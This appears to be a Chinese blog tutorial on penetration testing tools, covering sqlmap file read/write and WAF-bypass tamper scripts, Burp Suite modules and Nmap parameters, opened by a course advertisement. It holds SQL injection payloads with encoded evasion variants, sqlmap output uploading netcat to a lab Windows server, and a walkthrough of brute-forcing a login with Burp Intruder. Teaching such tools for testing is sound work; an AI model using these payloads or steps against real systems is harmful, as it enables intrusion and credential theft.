软件测试最全常用的渗透测试工具_常见的渗透测试代理工具,2024年最新我的软件测试春季历程

img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化的资料的朋友,可以戳这里获取

[hh:mm:50] [INFO] fetching file: ‘C:/example.exe’
[hh:mm:50] [INFO] theSQL query provided returns 3 entries C:/example.exe file saved to: ‘/software/sqlmap/output/192.168.136.129/files/C__example.exe’
[…]
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r–r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
$ file output/192.168.136.129/files/C__example.exe output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI)
Intel
80386 32-bit


8.–file-write–file-dest:上传文件到数据库服务器中


该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。下面以一个MySQL的例子复习–file-write–file-dest参数的用法。



$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm/software/nc.exe.packed
$ python sqlmap.py -u “http://192.168.136.129/sqlmap/mysql/get_int.aspx? id=1” --file-write \ “/software/nc.exe.packed” --file-dest “C:/WINDOWS/Temp/nc.exe” -v 1
[…]
[hh:mm:29] [INFO] the back-endDBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL > = 5.0.0
[…]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe’has been successfully
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file ‘/software/nc.exe.packed’


#### 5.绕过脚本tamper


SQLMap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改,读者还可以使用–tamper参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则,命令如下所示:



sqlmap.py XXXXX --tamper “模块名”


目前官方提供53个绕过脚本,下面是一个tamper脚本的格式。



# sqlmap/tamper/escapequotes.py

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
pass
def tamper(payload, **kwargs):
return payload.replace(“'”,

“\\'”).replace(‘"’, ‘\\"’)


不难看出,一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。● priority定义脚本的优先级,用于有多个tamper脚本的情况。● dependencies函数声明该脚本适用/不适用的范围,可以为空。下面以一个转大写字符绕过的脚本为例,tamper绕过脚本主要由dependencies和tamper两个函数构成。def tamper(payload, kwargs)函数接收playload和kwargs返回一个Payload。下面这段代码的意思是通过正则匹配所有字符,将所有攻击载荷中的字符转换为大写字母。



def tamper(payload, **kwargs):
retVal = payload
if payload:
for match in re.finditer(r"[A-Za-z_]+", retVal):
word = match.group()
if word.upper() in kb.keywords:
retVal = retVal.replace(word, word.upper())
return retVal


在日常使用中,我们会对一些网站是否有安全防护(WAF/IDS/IPS)进行试探,可以使用参数–identify-waf进行检测。


下面介绍一些常用的tamper脚本。


● apostrophemask.py


作用:将引号替换为UTF-8,用于过滤单引号。


使用脚本前的语句为:



1 AND ‘1’='1


使用脚本后,语句为:



1 AND %EF%BC%871%EF%BC%87=%EF%BC%871


● base64encode.py


作用:替换为base64编码。使用脚本前的语句为:



1’ AND SLEEP(5)#


使用脚本后,语句为:



MScgQU5EIFNMRUVQKDUpIw==


● multiplespaces.py


作用:围绕SQL关键字添加多个空格。使用脚本前的语句为:



1 UNION SELECT foobar


使用脚本后,语句为:



1 UNION SELECT foobar


● space2plus.py


作用:用+号替换空格。


使用脚本前的语句为:



SELECT id FROM users


使用脚本后,语句为:



SELECT+id+FROM+users


● nonrecursivereplacement.py


作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器,例如将SELECT替换为空)。


使用脚本前的语句为:



1 UNION SELECT 2–


使用脚本后,语句为:



1 UNIOUNIONN SELESELECTCT 2–


● space2randomblank.py


作用:将空格替换为其他有效字符。


使用脚本前的语句为:



SELECT id FROM users


使用脚本后,语句为:



SELECT%0Did%0DFROM%0Ausers


● unionalltounion.py


作用:将UNION ALL SELECT替换为UNION SELECT。


使用脚本前的语句为:



-1 UNION ALL SELECT


使用脚本后,语句为:



-1 UNION SELECT


● securesphere.py


作用:追加特制的字符串。


使用脚本前的语句为:



1 AND 1=1


使用脚本后,语句为:



1 AND 1=1 and ‘0having’=‘0having’


● space2hash.py


作用:将空格替换为#号,并添加一个随机字符串和换行符。


使用脚本前的语句为:



1 AND 9227=9227


使用脚本后,语句为:



1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227


● space2mssqlblank.py(mssql)


作用:将空格替换为其他空符号。


使用脚本前的语句为:



SELECT id FROM users


使用脚本后,语句为:



SELECT%0Eid%0DFROM%07users


● space2mssqlhash.py


作用:将空格替换为#号,并添加一个换行符。


使用脚本前的语句为:



1 AND 9227=9227


使用脚本后,语句为:



1%23%0AAND%23%0A9227=9227


● between.py


作用:用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND替换等号(=)。


使用脚本前的语句为:



1 AND A > B–


使用脚本后,语句为:



1 AND A NOT BETWEEN 0 AND B–


使用脚本前的语句为:



1 AND A = B–


使用脚本后,语句为:



1 AND A BETWEEN B AND B–


● percentage.py


作用:ASP允许在每个字符前面添加一个%号。


使用脚本前的语句为:



SELECT FIELD FROM TABLE


使用脚本后,语句为:



%S%E%L%E%C%T%F%I%E%L%D%F%R%O%M%T%A% B%L%E


● sp\_password.py


作用:从DBMS日志的自动模糊处理的有效载荷中追加sp\_password。


使用脚本前的语句为:



1 AND 9227=9227–


使用脚本后,语句为:



1 AND 9227=9227-- sp_password


● charencode.py


作用:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)。


使用脚本前的语句为:



SELECT FIELD FROM%20TABLE


使用脚本后,语句为:



%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45


● randomcase.py


作用:随机大小写。


使用脚本前的语句为:



INSERT


使用脚本后,语句为:



InsERt


● charunicodeencode.py


作用:字符串unicode编码。


使用脚本前的语句为:



SELECT FIELD%20FROM TABLE


使用脚本后,语句为:



%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045


● space2comment.py



作用:将空格替换为/**/
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
SELECT/**/id/**/FROM/**/users


● equaltolike.py



作用:将等号替换为like。
使用脚本前的语句为:
SELECT * FROM users WHERE id=1
使用脚本后,语句为:
SELECT * FROM users WHERE id LIKE 1


● greatest.py



作用:绕过对“>”的过滤,用GREATEST替换大于号。
使用脚本前的语句为:
1 AND A > B
使用脚本后,语句为:
1 AND GREATEST(A, B+1)=A


测试通过的数据库类型和版本:


● MySQL 4、MySQL 5.0和MySQL 5.5


● Oracle 10g


● PostgreSQL 8.3、PostgreSQL 8.4和PostgreSQL 9.0


● ifnull2ifisnull.py



作用:绕过对IFNULL的过滤,替换类似IFNULL(A, B)为IF(ISNULL(A), B, A)。
使用脚本前的语句为:
IFNULL(1, 2)
使用脚本后,语句为:
IF(ISNULL(1),2,1)
测试通过的数据库类型和版本为MySQL 5.0和MySQL 5.5。


● modsecurityversioned.py



作用:过滤空格,使用MySQL内联注释的方式进行注入。
使用脚本前的语句为:
1 AND 2>1–
使用脚本后,语句为:
1 /*!30874AND 2>1*/–
测试通过的数据库类型和版本为MySQL 5.0。


● space2mysqlblank.py



作用:将空格替换为其他空白符号(适用于MySQL)。
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
SELECT%A0id%0BFROM%0Cusers
测试通过的数据库类型和版本为MySQL 5.1。


● modsecurityzeroversioned.py



作用:使用MySQL内联注释的方式(/*!00000*/)进行注入。
使用脚本前的语句为:
1 AND 2>1–
使用脚本后,语句为:
1 /*!00000AND 2>1*/–
测试通过的数据库类型和版本为MySQL 5.0。


● space2mysqldash.py



作用:将空格替换为–,并添加一个换行符。
使用脚本前的语句为:
1 AND 9227=9227
使用脚本后,语句为:
1–%0AAND–%0A9227=9227


● bluecoat.py



作用:在SQL语句之后用有效的随机空白符替换空格符,随后用LIKE替换等于号。
使用脚本前的语句为:
SELECT id FROM users where id = 1
使用脚本后,语句为:
SELECT%09id FROM%09users WHERE%09id LIKE 1
测试通过的数据库类型和版本为MySQL 5.1和SGOS。


● versionedkeywords.py



作用:注释绕过。
使用脚本前的语句为:
UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58), IFNULL(CAST(CURRENT_
USER() AS CHAR), CHAR(32)), CH/**/AR(58,100,114, 117,58))#
使用脚本后,语句为:
/*! UNION**! ALL**! SELECT**! NULL*/, /*! NULL*/, CONCAT(CHAR(58,104,116,116,58),
IFNULL(CAST(CURRENT_USER()/*! AS**! CHAR*/), CHAR(32)), CHAR(58,100,114,117,58))#


● halfversionedmorekeywords.py



作用:当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释。
使用脚本前的语句为:
value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58), IFNULL(CAST(CURRENT_USER() AS CHAR), CHAR(32)), CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=‘QDWa
使用脚本后,语句为:
value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58), /*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR), /*!0CHAR(32)), /*!0CHAR(58,97,110,121,58)), /*!0NULL, /*!0NULL#/*!0AND ‘QDWa’='QDWa
测试通过的数据库类型和版本为MySQL 4.0.18和MySQL 5.0.22。


● space2morehash.py



作用:将空格替换为#号,并添加一个随机字符串和换行符。
使用脚本前的语句为:
1 AND 9227=9227
使用脚本后,语句为:
1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23 lujYFWfv%0A9227=9227
测试通过的数据库类型和版本为MySQL 5.1.41。


● apostrophenullencode.py



作用:用非法双字节unicode字符替换单引号。
使用脚本前的语句为:
1 AND ‘1’='1
使用脚本后,语句为:
1 AND %00%271%00%27=%00%271


● appendnullbyte.py



作用:在有效负荷的结束位置加载零字节字符编码。
使用脚本前的语句为:
1 AND 1=1
使用脚本后,语句为:
1 AND 1=1%00


● chardoubleencode.py



作用:对给定的Payload全部字符使用双重URL编码(不处理已经编码的字符)。
使用脚本前的语句为:
SELECT FIELD FROM%20TABLE
使用脚本后,语句为:
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545


● unmagicquotes.py



作用:用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。
使用脚本前的语句为:
1’ AND 1=1
使用脚本后,语句为:
1%bf%27–


● randomcomments.py



作用:用/**/分割SQL关键字。
使用脚本前的语句为:
INSERT
使用脚本后,语句为:
IN/**/S/**/ERT


虽然SQLMap自带的tamper可以做很多事情,但在实际环境中,往往比较复杂,可能会遇到很多情况,tamper不可能很全面地应对各种环境,所以建议在学习如何使用自带的tamper的同时,最好能够掌握tamper的编写规则,这样在应对各种实战环境时才能更高效。


## Burp Suite


#### 1.Burp Suite的安装


Burp Suite是一款集成化的渗透测试工具,包含了很多功能,可以帮助我们高效地完成对Web应用程序的渗透测试和攻击。


Burp Suite由Java语言编写,基于Java自身的跨平台性,使这款软件学习和使用起来更方便。Burp Suite不像其他自动化测试工具,它需要手工配置一些参数,触发一些自动化流程,然后才会开始工作。


Burp Suite可执行程序是Java文件类型的jar文件,免费版可以从官网下载。免费版的Burp Suite会有许多限制,无法使用很多高级工具,如果想使用更多的高级功能,需要付费购买专业版。专业版与免费版的主要区别有以下三点:


● Burp Scanner。


● 工作空间的保存和恢复。


● 拓展工具,如Target Analyzer、Content Discovery和Task Scheduler。


Burp Suite是用Java语言开发的,运行时依赖JRE,需要安装Java环境才可以运行。用百度搜索JDK,选择安装包然后下载即可,打开安装包后单击“下一步”按钮进行安装(安装路径可以自己更改或者采用默认路径)。提示安装完成后,打开cmd,输入java-version进行查看,若返回版本信息则说明已经正确安装,如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/0351f075d159fcf5b6ae535ca9047123.jpeg)


接下来配置环境变量,右击“计算机”,接着单击“属性”→“高级系统设置”→“环境变量”,然后新建系统变量,在弹出框的“变量名”处输入“JAVA\_HOME”,在“变量值”处输入JDK的安装路径,如“C:\Program Files(x86)\Java\jdk1.8.0\_112”,然后单击“确定”按钮。


在“系统变量”中找到PATH变量,在“变量值”的最前面加上“%JAVA\_HOME%\bin; ”,然后单击“确定”按钮。


在“系统变量”中找到CLASSPATH变量,若不存在则新建这个变量,在“变量值”的最前面加上“.; %JAVA\_HOME%\lib\dt.jar; %JAVA\_HOME%\lib\tools.jar;”,然后单击“确定”按钮。


打开cmd,输入javac,若返回帮助信息,如下图所示,说明已经正确配置了环境变量。


![](https://img-blog.csdnimg.cn/img_convert/2ab647fdc33618f5fea0167ef9f844c2.jpeg)


下载好的Burp无须安装,直接双击BurpLoader.jar文件即可运行,如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/987cebe2807fe7fce954264b77e92c24.jpeg)


#### 2.Burp Suite入门


Burp Suite代理工具是以拦截代理的方式,拦截所有通过代理的网络流量,如客户端的请求数据、服务器端的返回信息等。Burp Suite主要拦截HTTP和HTTPS协议的流量,通过拦截,Burp Suite以中间人的方式对客户端的请求数据、服务端的返回信息做各种处理,以达到安全测试的目的。


在日常工作中,最常用的Web客户端就是Web浏览器,我们可以通过设置代理信息,拦截Web浏览器的流量,并对经过Burp Suite代理的流量数据进行处理。BurpSuite运行后,Burp Proxy默认本地代理端口为8080,如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/7bc4c52f16414a8a1d8eb9833a21163b.jpeg)


这里以Firefox浏览器为例,单击浏览器右上角“打开菜单”,依次单击“选项”→“常规”→“网络代理”→“设置”→“手动配置代理”,如下图所示,设置HTTP代理为127.0.0.1,端口为8080,与Burp Proxy中的代理一致。


![](https://img-blog.csdnimg.cn/img_convert/1bb189f79e8b0abd43f1c9136ba93e27.jpeg)


2.1 Proxy


Burp Proxy是利用Burp开展测试流程的核心,通过代理模式,可以让我们拦截、查看、修改所有在客户端与服务端之间传输的数据。


Burp Proxy的拦截功能主要由Intercept选项卡中的Forward、Drop、Interception is on/off和Action构成,它们的功能如下所示:


● Forward表示将拦截的数据包或修改后的数据包发送至服务器端。


● Drop表示丢弃当前拦截的数据包。


● Interception is on表示开启拦截功能,单击后变为Interception is off,表示关闭拦截功能。


● 单击Action按钮,可以将数据包进一步发送到Spider、Scanner、Repeater、 Intruder等功能组件做进一步的测试,同时也包含改变数据包请求方式及其body的编码等功能。


打开浏览器,输入需要访问的URL并按回车键,这时将看到数据流量经过Burp Proxy并暂停,直到单击Forward按钮,才会继续传输下去。如果单击了Drop按钮,这次通过的数据将丢失,不再继续处理。


当Burp Suite拦截的客户端和服务器交互之后,我们可以在Burp Suite的消息分析选项中查看这次请求的实体内容、消息头、请求参数等信息。Burp有四种消息类型显示数据包:Raw、Params、Headers和Hex。


● Raw主要显示Web请求的raw格式,以纯文本的形式显示数据包,包含请求地址、HTTP协议版本、主机头、浏览器信息、Accept可接受的内容类型、字符集、编码方式、cookie等,可以通过手动修改这些信息,对服务器端进行渗透测试。


● Params主要显示客户端请求的参数信息,包括GET或者POST请求的参数、cookie参数。可以通过修改这些请求参数完成对服务器端的渗透测试。


● Headers中显示的是数据包中的头信息,以名称、值的形式显示数据包。


● Hex对应的是Raw中信息的二进制内容,可以通过Hex编辑器对请求的内容进行修改,在进行00截断时非常好用,如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/37f4e1fba4e8c8677d71cacea1812d7a.jpeg)


2.2 Spider


Spider的蜘蛛爬行功能可以帮助我们了解系统的结构,其中Spider爬取到的内容将在Target中展示,如下图所示,界面左侧为一个主机和目录树,选择具体某一个分支即可查看对应的请求与响应。


![](https://img-blog.csdnimg.cn/img_convert/a960a087a57aeab6ebbb6a6e922a5119.jpeg)


2.3 Decoder


Decoder的功能比较简单,它是Burp中自带的编码解码及散列转换的工具,能对原始数据进行各种编码格式和散列的转换。


Decoder的界面如下图所示。输入域显示的是需要编码/解码的原始数据,此处可以直接填写或粘贴,也可以通过其他Burp工具上下文菜单中的“Send toDecoder”选项发送过来;输出域显示的是对输入域中原始数据进行编码/解码的结果。无论是输入域还是输出域都支持文本和Hex这两种格式,编码解码选项由解码选项(Decode as)、编码选项(Encode as)、散列(Hash)构成。在实际使用时,可以根据场景的需要进行设置。


![](https://img-blog.csdnimg.cn/img_convert/cee9f92c9d9aeac12a9550a0a5882fd2.jpeg)


对编码解码选项而言,目前支持URL、HTML、Base64、ASCII、十六进制、八进制、二进制和GZIP共八种形式的格式转换,Hash散列支持SHA、SHA-224、SHA-256、SHA-384、SHA-512、MD2、MD5格式的转换。更重要的是,对同一个数据,我们可以在Decoder界面进行多次编码、解码的转换。


#### 3.Burp Suite进阶


3.1 Scanner


Burp Scanner主要用于自动检测Web系统的各种漏洞。本小节介绍Burp Scanner的基本使用方法,在实际使用中可能会有所改变,但大体环节如下。


首先,确认Burp Suite正常启动并完成浏览器代理的配置。然后进入Burp Proxy,关闭代理拦截功能,快速浏览需要扫描的域或URL模块,此时在默认情况下,Burp Scanner会扫描通过代理服务的请求,并对请求的消息进行分析来辨别是否存在系统漏洞。而且当我们打开Burp Target时,也会在站点地图中显示请求的URL树。


我们随便找一个网站进行测试,选择Burp Target的站点地图选项下的链接,在其链接URL上右击选择“Actively scan this host”,此时会弹出过滤设置,保持默认选项即可扫描整个域,如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/b11f400c17e7a905b845116c6a73731f.jpeg)


也可以在Proxy下的HTTP history中,选择某个节点上的链接URL并右击选择Do an active scan进行扫描,如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/51a58e4c4ae2d1a95e62f951415f7a6f.jpeg)


这时,Burp Scanner开始扫描,在Scanner界面下双击即可看到扫描结果,如下图所示:![](https://img-blog.csdnimg.cn/img_convert/07c4e9cc087d064538fbf9e532fe7eee.jpeg)


我们也可以在扫描结果中选中需要进行分析的部分,将其发送到repeater模块中进行模拟提交分析和验证,如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/cb547b8ee1839de11cad671e832caf90.jpeg)


当scanner扫描完成后,可以右击Burp Target站点地图选项下的链接,依次选择“issues”→“Report issues”选项,然后导出漏洞报告,如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/e8ce7fae87558198dedd516c9cb66105.jpeg)


然后将漏洞报告以html文件格式保存,结果如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/fdbc99ddd1226e90765c9602ee6b8f6f.jpeg)


通过以上操作步骤我们可以学习到:Burp Scanner主要有主动扫描和被动扫描两种扫描方式。


1.主动扫描(Active Scanning)


当使用主动扫描模式时,Burp会向应用发送新的请求并通过Payload验证漏洞。这种模式下的操作会产生大量的请求和应答数据,直接影响服务端的性能,通常用于非生产环境。主动扫描适用于以下这两类漏洞。



● 客户端的漏洞,如XSS、HTTP头注入、操作重定向。
● 服务端的漏洞,如SQL注入、命令行注入、文件遍历。


对第一类漏洞,Burp在检测时会提交input域,然后根据应答的数据进行解析。在检测过程中,Burp会对基础的请求信息进行修改,即根据漏洞的特征对参数进行修改,模拟人的行为,以达到检测漏洞的目的;对第二类漏洞,以SQL注入为例,服务端有可能返回数据库错误提示信息,也有可能什么都不反馈。Burp在检测过程中会采用各个技术验证漏洞是否存在,例如诱导时间延迟、强制修改Boolean值、与模糊测试的结果进行比较,以提高漏洞扫描报告的准确性。


2.被动扫描(Passive Scanning)


当使用被动扫描模式时,Burp不会重新发送新的请求,只是对已经存在的请求和应答进行分析,对服务端的检测来说,这比较安全,通常适用于生产环境的检测。一般来说,下列漏洞在被动模式中容易被检测出来。



● 提交的密码为未加密的明文。
● 不安全的cookie的属性,例如缺少HttpOnly和安全标志。
● cookie的范围缺失。
● 跨域脚本包含和站点引用泄露。
● 表单值自动填充,尤其是密码。
● SSL保护的内容缓存。
● 目录列表。
● 提交密码后应答延迟。
● session令牌的不安全传输。
● 敏感信息泄露,例如内部IP地址、电子邮件地址、堆栈跟踪等信息泄露。
● 不安全的ViewState的配置。
● 错误或不规范的Content-Type指令。


虽然被动扫描模式相比主动模式有很多不足,但同时也具有主动模式不具备的优点。除了对服务端的检测比较安全,当某种业务场景的测试每次都会破坏业务场景的某方面功能时,可以使用被动扫描模式验证是否存在漏洞,以减少测试的风险。


3.2 Intruder


Intruder是一个定制的高度可配置的工具,可以对Web应用程序进行自动化攻击,如通过标识符枚举用户名、ID和账户号码,模糊测试,SQL注入,跨站,目录遍历等。


它的工作原理是Intruder在原始请求数据的基础上,通过修改各种请求参数获取不同的请求应答。在每一次请求中,Intruder通常会携带一个或多个有效攻击载荷(Payload),在不同的位置进行攻击重放,通过应答数据的比对分析获得需要的特征数据。Burp Intruder通常被应用于以下场景。


● 标识符枚举。Web应用程序经常使用标识符引用用户、账户、资产等数据信息。例如,用户名、文件ID和账户号码。


● 提取有用的数据。在某些场景下,不是简单地识别有效标识符,而是通过简单标识符提取其他数据。例如,通过用户的个人空间ID获取所有用户在其个人空间的名字和年龄。


● 模糊测试。很多输入型的漏洞(如SQL注入、跨站点脚本和文件路径遍历)可以通过请求参数提交各种测试字符串,并分析错误消息和其他异常情况,来对应用程序进行检测。受限于应用程序的大小和复杂性,手动执行这个测试是一个耗时且烦琐的过程,因此可以设置Payload,通过Burp Intruder自动化地对Web应用程序进行模糊测试。


下面将演示利用Intruder模块爆破无验证码和次数限制的网站的方法,如下图所示,这里使用方法只是为了实验,读者不要将其用于其他非法用途。前提是你得有比较好的字典,我们准备好的字典如下图所示。需要注意的是,Burp Suite的文件不要放在中文的路径下。


![](https://img-blog.csdnimg.cn/img_convert/deaf38219ecbfbb7d221e3f3c8d03339.jpeg)


![](https://img-blog.csdnimg.cn/img_convert/076c44213796d2a5588f1cae6f833812.jpeg)


首先将数据包发送到intruder模块


![](https://img-blog.csdnimg.cn/img_convert/c41dde33744ae64ec9ec54b2d25bba04.jpeg)


Burp会自动对某些参数进行标记,这里先清除所有标记


![](https://img-blog.csdnimg.cn/img_convert/fb40513dce9ed4fc3f26452958f451cd.jpeg)


然后选择要进行暴力破解的参数值,将pass参数选中,单击“Add$”按钮,这里只对一个参数进行暴力破解,所以攻击类型使用sniper即可,如下图所示。这里要注意的是,如果要同时对用户名和密码进行破解,可以同时选中user和pass参数,并且选择交叉式cluster bomb模式进行暴力破解。


● Sniper模式使用单一的Payload组。它会针对每个位置设置Payload。这种攻击类型适用于对常见漏洞中的请求参数单独进行Fuzzing测试的情景。攻击中的请求总数应该是position数量和Payload数量的乘积。


● Battering ram模式使用单一的Payload组。它会重复Payload并一次性把所有相同的Payload放入指定的位置中。这种攻击适用于需要在请求中把相同的输入放到多个位置的情景。请求的总数是Payload组中Payload的总数。


● Pitchfork模式使用多个Payload组。攻击会同步迭代所有的Payload组,把Payload放入每个定义的位置中。这种攻击类型非常适合在不同位置中需要插入不同但相似输入的情况。请求的数量应该是最小的Payload组中的Payload数量。


● Cluster bomb模式会使用多个Payload组。每个定义的位置中有不同的Payload组。攻击会迭代每个Payload组,每种Payload组合都会被测试一遍。这种攻击适用于在位置中需要不同且不相关或者未知输入攻击的情景。攻击请求的总数是各Payload组中Payload数量的乘积。


![](https://img-blog.csdnimg.cn/img_convert/b60d79dace670eada8b4e23d473f5a35.jpeg)


下面选择要添加的字典


![](https://img-blog.csdnimg.cn/img_convert/3fea3695e82cf45e206ad19d9f427de8.jpeg)


然后开始爆破并等待爆破结束


![](https://img-blog.csdnimg.cn/img_convert/7286a1b6c3915897c24c8a9c6895603a.jpeg)


这里对Status或Length的返回值进行排序,查看是否有不同之处。如果有,查看返回包是否显示为登录成功,如果返回的数据包中有明显的登录成功的信息,则说明已经破解成功,如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/951824965ab9c74438be144ab445a192.jpeg)


3.3 Repeater


Burp Repeater是一个手动修改、补发个别HTTP请求,并分析它们的响应的工具。它最大的用途就是能和其他Burp Suite工具结合起来使用。可以将目标站点地图、Burp Proxy浏览记录、Burp Intruder的攻击结果,发送到Repeater上,并手动调整这个请求来对漏洞的探测或攻击进行微调。


Repeater分析选项有4种:Raw、Params、Headers和Hex。


● Raw:显示纯文本格式的消息。在文本面板的底部有一个搜索和加亮的功能,可以用来快速定位需要寻找的字符串,如出错消息。利用搜索栏左边的弹出项,能控制状况的灵敏度,以及是否使用简单文本或十六进制进行搜索。


● Params:对于包含参数(URL查询字符串、cookie头或者消息体)的请求, Params选项会把这些参数显示为名字/值的格式,这样就可以简单地对它们进行查看和修改了。


● Headers:将以名字/值的格式显示HTTP的消息头,并且以原始格式显示消息体。


● Hex:允许直接编辑由原始二进制数据组成的消息。在渗透测试过程中,我们经常使用Repeater进行请求与响应的消息验证分析,例如修改请求参数、验证输入的漏洞;修改请求参数、验证逻辑越权;从拦截历史记录中,捕获特征性的请求消息进行请求重放。本节将抓包发送到Repeater,如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/f4f74161906e29708bae5a1ae9b74518.jpeg)


在Repeater的操作界面中,左边的Request为请求消息区,右边的Response为应答消息区,请求消息区显示的是客户端发送的请求消息的详细信息。当我们编辑完请求消息后,单击“Go”按钮即可发送请求给服务端,如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/80b9470cf58bb7bd5fd5f4e358469704.jpeg)


应答消息区显示的是对对应的请求消息单击“GO”按钮后,服务端的反馈消息。通过修改请求消息的参数来比对分析每次应答消息之间的差异,能更好地帮助我们分析系统可能存在的漏洞,如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/0cc36e831b530c0b9ec40c4ff806a711.jpeg)


3.4 Comparer


Burp Comparer在Burp Suite中主要提供一个可视化的差异比对功能,来对比分析两次数据之间的区别,使用到的场合有:


● 枚举用户名的过程中,对比分析登录成功和失败时,服务端反馈结果的区别。


● 使用Intruder进行攻击时,对于不同的服务端响应,可以很快分析出两次响应的区别在哪里。


● 进行SQL注入的盲注测试时,比较两次响应消息的差异,判断响应结果与注入条件的关联关系。使用Comparer时有两个步骤,先是数据加载:


![](https://img-blog.csdnimg.cn/img_convert/6ca0f0d284f0942c1fc2e9f1d89140fd.jpeg)


然后是差异分析:


![](https://img-blog.csdnimg.cn/img_convert/4836298d86a6d968806c9bacf2c56892.jpeg)


Comparer数据加载的常用方式如下所示。


● 从其他Burp工具通过上下文菜单转发过来。


● 直接粘贴。


● 从文件里加载。加载完毕后,如果选择两次不同的请求或应答消息,则下发的比较按钮将被激活,此时可以选择文本比较或字节比较。


3.5 Sequencer


Burp Sequencer是一种用于分析数据样本随机性质量的工具。可以用它测试应用程序的会话令牌(Session token)、密码重置令牌是否可预测等场景,通Sequencer的数据样本分析,能很好地降低这些关键数据被伪造的风险。


Burp Sequencer主要由信息截取(Live Capture)、手动加载(Manual Load)和选项分析(Analysis Options)三个模块组成。


在截取信息后,单击Load按钮加载信息,然后单击“Analyze now”按钮进行分析,如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/6521659c38ea3c9fc92f1947bc3c3f7f.jpeg)


### Nmap


#### 1.Nmap详解


Nmap(Network Mapper,网络映射器)是一款开放源代码的网络探测和安全审核工具。它被设计用来快速扫描大型网络,包括主机探测与发现、开放的端口情况、操作系统与应用服务指纹识别、WAF识别及常见安全漏洞。它的图形化界面是Zenmap,分布式框架为DNmap。


Nmap的特点如下所示:


● 主机探测:探测网络上的主机,如列出响应TCP和ICMP请求、ICMP请求、开放特别端口的主机。


● 端口扫描:探测目标主机所开放的端口。


● 版本检测:探测目标主机的网络服务,判断其服务名称及版本号。


● 系统检测:探测目标主机的操作系统及网络设备的硬件特性。


● 支持探测脚本的编写:使用Nmap的脚本引擎(NSE)和Lua编程语言。


#### 2.安装Nmap


Nmap的下载地址为https://nmap.org/download.html,本节下载的版本是7.40。读者在安装的过程中按照提示一步步安装即可,如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/05678c3ea2b3960c96a9183399e040f4.jpeg)


#### 3.Nmap入门


3.1 扫描参数


进入安装目录后,在命令行直接执行Nmap或查看帮助文档(输入nmap–help)将显示Namp的用法及其功能,如下图所示:


![](https://img-blog.csdnimg.cn/img_convert/12acd827d62da3899c9214c0a7c25588.jpeg)


在讲解具体的使用方法前,先介绍一下Nmap的相关参数的含义与用法。首先介绍设置扫描目标时用到的相关参数,如下所示:



● -iL:从文件中导入目标主机或目标网段。
● -iR:随机选择目标主机。
● --exclude:后面跟的主机或网段将不在扫描范围内。
● --excludefile:导入文件中的主机或网段将不在扫描范围中。
与主机发现方法相关的参数如下。
● -sL:List Scan(列表扫描),仅列举指定目标的IP,不进行主机发现。
● -sn:Ping Scan,只进行主机发现,不进行端口扫描。
● -Pn:将所有指定的主机视作已开启,跳过主机发现的过程。
● -PS/PA/PU/PY[portlist]:使用TCP SYN/ACK或SCTP INIT/ECHO方式来发现。
● -PE/PP/PM:使用ICMP echo、timestamp、netmask请求包发现主机。
